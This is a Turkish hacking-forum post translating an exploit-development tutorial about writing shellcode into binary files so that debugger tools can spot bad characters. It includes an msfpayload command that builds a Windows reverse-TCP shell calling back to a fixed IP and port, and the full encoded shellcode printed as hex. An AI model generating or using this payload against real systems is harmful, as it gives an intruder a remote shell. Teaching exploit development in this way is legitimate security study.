Öğreticiler #5 | Binary Dosyalarına Shellcode Yazma

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,192
653
İkili Dosyalara Shellcode Yazma

Son zamanlarda exploit geliştirme ile çok fazla uğraşıyorum. Adı altında birçok exploit barındıran g00ns, exploit geliştirme sürecindeki en büyük engellerden birinin kötü karakterler olduğunu biliyor. Ama, şükürler olsun ki corelanc0d3r hızlı ve güvenilir bir şekilde exploit geliştirebilmemizi sağlayan bazı araçlar geliştirdi. Mona ve Pvefindaddr'ın özelliklerinden biri bellekteki shellcode'u orijinal sürümüyle karşılaştırabilmedir. Dolayısıyla bellekteki karıştırılmış baytları kolaylıkla işaretleyebilir ve yeniden kodlayabiliriz. Bu işlemi gerçekleştirmek için shellcode umuzun orijinal sürümünü binary dosyasında saklamamız gereklidir. Bu konular size bu süreçte yol gösterecektir. Önce zor ve sıkıcı olanları yapacağız ve daha sonra size kolay yoldan yapmak için küçük bir script göstereceğim. Hadi başlayalım

Windows PE (portable) dosyalarıyla çalışacağım ancak bu teknikler diğer dosya türleriyle de çalışır, örneğin .pdf'ler gibi. Bu nedenle hayal gücünüzü kullanın. Ayrıca veritabanı en son sürümüne güncellenmiş olan bir antivirüs kullanacağım. Bu arada Eset Smart Security 5 tabii ki AVG'den daha iyi :d

Zor Olan Yola Bakalım


Önce bazı örnek shellcode'lara ihtiyacımız var. Önceden yazılmış bir exploit'den alarak shellcode'u kullanabilirsiniz ya da ****sploit framework kullanarak oluştrabilirsiniz. Biz msf ile oluşturup bir metin dosyasına yazacağız.

Kod:
root@bt:~/Desktop# msfpayload windows/shell/reverse_tcp LHOST=192.168.98.64 LPORT=9988 R |msfencode -e 
x86/alpha_mixed -b "\x00" -t c >> test.txt
[*] x86/alpha_mixed succeeded with size 642 (iteration=1)
bin_big1.png


Tahmin ettiğiniz üzere mevcut olan shellcode'umuz amaçlarımıza uygun değil. Bunu biraz cat-grep-tr-sed kung-fu ile düzeltmeye çalışalım. Shellcode'umuzun biçimini “\x89\xe5\xdb” den “89e5db" e dönüştürmemiz lazım. Bunun biraz daha açıklığa kavuşturmamız lazım tabi. (1) ilk olarak Grep ile yalnızca "(2) tr-d" içeren satırları filtreliyoruz. (3) tüm boşlukları kaldırmak için "\n" kullanabiliriz. (4) tüm yeni satırları kaldırmak için ("\x ; ) . Sonuç ise onaltılık baytların temiz bir çıktısı olacaktır.

Kod:
root@bt:~/Desktop# cat test.txt |grep '"' |tr -d " " |tr -d "\n" |sed  's/[\"x;]//g'  89e5dbdad975f45f57594949494949494949494943434343434337515a6a415850304130416b414151324142324242304242414258   50384142754a49496c79786e6935505770655055306d5939757031385252444e6b663230304c4b6272344c6c4b614272344e6b7072   6578766f6837337a45765031596f54716b706e4c656c3171516c6662364c713049517a6f566d33314a676b526870314266376c4b50   5232306e6b4262756c677158506c4b473071686e6549506434626a66616e3046304e6b526846786e6b63684750477159434b53774c   52694c4b70344c4b333138563561396f647149504e4c79515a6f444d56616f3745684d30343548746773734d6a58456b534d664443   454a4262784e6b5638613437714a7352464e6b744c626b4c4b7058576c33315a736c4b55546e6b45517a704b39626466446644614b   314b75313369505a4271696f6b503148514f505a6c4b77627a4b4d56336d653847435652555057705068316733435742314f327442   48526c5077475663374b4f48554c784a306661655047704469595446345270553866496b30706b7550496f69454630563070505630   51507270637070503068697a566f794f4b506b4f69456c57524a533562484950793850623730506876625330457757746d59786630   6a46705146514765384a394d7561645171696f69454c454b706254544c496f726e666872555a4c33584c304c7549325146496f6945   324a6770517a3444714630576178377258597a68436f6b4f4e356e6b7036624a5370753843303230455067705276706a3550735830   586c6452733865396f58554e737273335a6770736651437367706864426e397a68736f396f7a7547716b7331394a664e6548767165  7a4c48434141
Şimdiye kadar her şey yolunda gidiyor, içine biraz gereksiz şeyleri ekleyerek binary dosyası oluşturalım. Daha sonra ise hexeditor'da açabiliriz.

Kod:
root@bt:~/Desktop# echo "boring" >> template.bin

root@bt:~/Desktop# hexeditor -b template.bin
bin_big2.png


Şimdi shellcode'umuz için boşluk eklememiz gerekiyor. Boşluk eklemek için ctrl-a ya basılı tutun (yeterince boşluk eklediğinizden emin olun ve çok fazla eklerseniz endişelenmeyin.) Yukarıda oluşturduğumuzu shift-Insert ile boş alana yapıştırın. Bundan sonra ikili dosyaya koyduğumuz gereksiz şeyleri silin. Anlattığım bu 3 aşamayı aşağıdaki ekran görüntülerinde görebilirsiniz.

bin_big3.png

bin_big4.png

bin_big5.png


Şimdi yapmanız gereken tek şey ctrl-x e basarak kaydedip kapatmak. Bu anlattığım yöntem öyle ahım şahım zor olmasa da bunları birkaç kez tekrar ederseniz baya sıkmaya başlar.

Kolay Yola Bakalım

Kendi kendime düşündüm ve dedim ki neden her .bin dosyası oluşturacağım zaman hayatımın 2 dakikasını boşa harcayayım? Biraz araştırma yaptıktan sonra bütün işi benim yerime yapan küçüp bir script buldum.

Kod:
root@bt:~/Desktop# ./bin.sh
--------------------------------------------------------------------
|                          Bin v1.0 ~ b33f                         |
|                  -Convert you shellcode to *.bin-                |
--------------------------------------------------------------------
| USAGE: ./bin.sh -i [Input File] -o [Output File] -t [B/Z]        |
|                                                                  |
| REQUIRED                                                         |
|         -i  Input (text) file containing the shellcode.          |
|         -o  Output filename without extention (eg: shell).       |
|         -t  Type can be B (regular bin file) or Z (zipped.       |
|             bin file).                                           |
|                                                                  |
| DETAILS                                                          |
|         The input text file should just contain the shellcode.   |
|         If you are using msfpayload (possibly/probably in        |
|         combinatione with msfencode) set the output type to      |
|         c or perl. If you have some shellcode in an exploit      |
|         just copy it to a text file...                           |
--------------------------------------------------------------------
Script elbetteki hata yapma olasılığına sahip. En yaygın exploit formatlarını (python, perl, c) kopyalarken bütün gereksiz karakterleri filtrelemelidir. Msfpayload/msfencode kullanırken çıktı türünü perl ya da c olarak ayarlayabilirsiniz. Filtreleme yaparken kendinize ait filtreleme kuralları eklemekte özgürsünüz. Bu arada herhangi bir öneriniz varsa bana e-mail ile yollayın. Temel kural mümkün olduğunca temiz bir şekilde kopyalamak ve binary dosyasının içeriğini kontrol etmektir. Ayrıca binary dosyasını zip lemek için bir seçenek ekledim. Bunun nedeni de genellikle dosyaları apache sunucusuyla hata ayıklamaya atıyorum ve internet explorer binary dosylarını pek sevmiyor.

Şimdi gösteri zamanı! Çeşitlilik için, yakın zamanda geliştirdiğim bir exploit'ten bazı shellcode'larını kullanacağım. Öncelikle shellcode'unu badchars.txt diye bir metin dosyasına kopyalıyorum. Aşağıda ekran görüntülerini görebilirsiniz ve özensiz olan kopyanın scripte etki etmediğine dikkat edin.

bin_big6.png

bin_big6.png


Artık geriye tek yapmamız gereken scripti çalıştırıp sonuçları hexeditor'de kontrol etmek. Her exploit geliştirdiğinizde sayemde tasarruf edeceğiniz güzel dakikaların tadını çıkarın ;))

bin_big8.png


bazı önemli kavramlar:

exploit: Exploit bir bilgisayar programıdır veya bir script, bilgisayar programlarında bulunan zayıflık veya hatalar için kullanılır.

shellcode: Saldırı sırasında, bir kabuk kodu, bir yazılım güvenlik açığından yararlanmada yük olarak kullanılan küçük bir kod parçasıdır.

binary files: ikili dosyalar

Source: https://www.fuzzysecurity.com/tutorials/7.html
Translator @Gauloran

 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.